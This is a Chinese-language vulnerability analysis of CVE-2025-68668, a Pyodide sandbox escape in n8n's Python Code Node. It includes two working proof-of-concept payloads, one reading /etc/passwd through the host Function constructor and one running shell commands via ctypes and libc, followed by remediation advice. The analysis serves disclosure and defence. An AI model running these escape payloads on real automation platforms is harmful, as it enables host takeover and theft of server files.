1. 漏洞概述

随着 AI Agent 和自动化工作流(Agentic Workflow)在 2025 年的全面爆发,像 n8n、Dify 这样允许用户嵌入自定义代码逻辑的平台,正面临前所未有的安全挑战。

CVE-2025-68668 是 2026年1月 最新披露的一个严重沙箱逃逸漏洞。该漏洞存在于 n8n 的 Python 代码节点(Python Code Node)中。在 n8n 1.0.0 至 2.0.0 之前的版本中,虽然引入了 Pyodide(基于 WASM 的 Python 运行时)作为沙箱环境来隔离用户代码,但由于其初始化逻辑存在严重的“黑名单”设计缺陷,攻击者可以通过特定的对象引用链逃逸出虚拟环境,进而在宿主机上执行任意命令。

2. 漏洞环境与防护逻辑分析

n8n 使用 Pyodide 在 Node.js 环境中模拟 Python 运行。为了防止恶意操作,开发者在 /nodes/Code/Pyodide.js 中构建了一套防护机制。

脆弱的“黑名单”防线

在初始化 Pyodide 实例时,n8n 注入了一段 Python 脚本来禁用危险函数:

Python

# [Pyodide.js 中的防护逻辑]

# 定义一个阻断函数,调用即报错
def blocked_function(*args, **kwargs):
    raise RuntimeError("Blocked for security reasons")

# 1. 覆盖 os.system (防止命令执行)
os.system = blocked_function

# 2. 阻止 JS 构造函数 (防止获取 JS Function)
Object.constructor.constructor = blocked_function

# 3. 替换 js 模块 (防止 Python 与 JS 交互)
sys.modules['js'] = blocked_module()

这种防御策略存在典型的逻辑漏洞:仅封堵了已知路径,却忽略了上下文中的“漏网之鱼”。

3. 逃逸路径一:宿主对象引用污染 (Prototype Chain Pollution)

这是利用 Node.js 与 Pyodide 交互机制的经典逃逸手法。攻击者利用外部传入的宿主对象,反向推导出了宿主环境的根对象。

原理分析

在沙箱初始化时,为了支持网络请求,n8n 将宿主环境的 XMLHttpRequest 对象直接注入到了沙箱的全局变量 jsglobals 中。

JavaScript

// [Pyodide.js]
const context = (0, node_vm_1.createContext)({
  // ...
  jsglobals: {
    // 致命错误:将宿主环境的 XMLHttpRequest 原型暴露给了沙箱
    XMLHttpRequest, 
    // ...
  },
});

尽管 n8n 封锁了沙箱内部对象的 constructor,但它无法封锁从外部传入的 XMLHttpRequest 对象的原型链。

攻击利用链:

  1. 恢复模块:虽然 sys.modules['js'] 被替换,但通过 del sys.modules['js'] 后重新 import js,即可恢复与 JS 环境的桥接。

  2. 获取跳板:访问 js.XMLHttpRequest(这是来自宿主的漏网之鱼)。

  3. 原型链攀爬:js.XMLHttpRequest 是一个类(函数),在 JS 中,所有函数的构造器都是 Function。因此,js.XMLHttpRequest.constructor 指向的就是 宿主环境的 Function 构造器。

  4. 任意代码执行:拥有了宿主的 Function 构造器,攻击者就可以构造 new Function("return process")(),从而获得宿主的 process 对象,进而 require('child_process')。

PoC:读取敏感文件

Python

import sys

# 1. 绕过模块封锁
if 'js' in sys.modules:
    del sys.modules['js']
import js

try:
    # 2. 获取宿主 Function 构造器
    # 绕过 Object.constructor 限制,走 XHR -> Function 路径
    HostFunction = js.XMLHttpRequest.constructor
    
    # 3. 在宿主 Node.js 环境执行代码
    # 类似于在 Node.js 中执行: const real_process = (new Function("return process"))()
    get_process = HostFunction("return process")
    real_process = get_process()
    
    # 4. 加载 fs 模块读取 /etc/passwd
    require = real_process.mainModule.require
    fs = require('fs')
    content = fs.readFileSync('/etc/passwd', 'utf-8')
    
    return {"file_content": content}
except Exception as e:
    return {"error": str(e)}

4. 逃逸路径二:FFI 穿透 (ctypes)

如果说第一种路径是利用了 JS 互操作性的漏洞,第二种路径则是利用了 Python 语言特性对操作系统底层能力的直接调用。

原理分析

开发者只封禁了 os.system。在 Python 中,os.system 只是执行命令的一种方式,底层是调用 C 语言标准库(libc)。

Python 的 ctypes 库是一个外部函数接口(FFI)库,它允许 Python 代码直接加载动态链接库(.so/.dll)并调用其中的 C 函数。n8n 的沙箱策略完全遗漏了对 ctypes 的限制。

如图所示:

  • 被封堵路径:用户 -> os.system -> blocked_function -> 拦截。

  • 逃逸路径:用户 -> ctypes -> 加载 libc.so -> 直接调用 C 语言 system() -> 操作系统内核。

PoC:执行系统命令

Python

import ctypes

# 1. 加载标准 C 库 (Linux/macOS 下通常能自动找到 libc)
libc = ctypes.CDLL(None)

# 2. 定义函数签名
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int

# 3. 直接调用底层的 system 函数执行命令
# 绕过了 Python 层的所有 Hook
cmd = b'echo "Pwned via ctypes" > /tmp/n8n_pwned.txt'
libc.system(cmd)

return {"status": "Command Executed via FFI"}

5. 总结与防御

CVE-2025-68668 再次印证了在应用层实现沙箱的极高难度。仅仅依赖“禁用危险函数”的黑名单策略,在现代语言丰富的反射(Reflection)和互操作(Interop)特性面前不堪一击。

修复方案

  1. 升级 n8n:请立即升级到 2.0.0 及以上版本。新版本重构了沙箱机制。

  2. 严格白名单:在 Pyodide 初始化时,应移除 XMLHttpRequest 等所有非必要的宿主对象注入。

  3. 内核级隔离:对于允许用户运行代码的 AI Agent 平台,最安全的方案不是依赖语言沙箱,而是将执行环境放入 gVisor、Firecracker 或无网络权限的 Docker 容器中,从操作系统层面切断逃逸路径。

更多推荐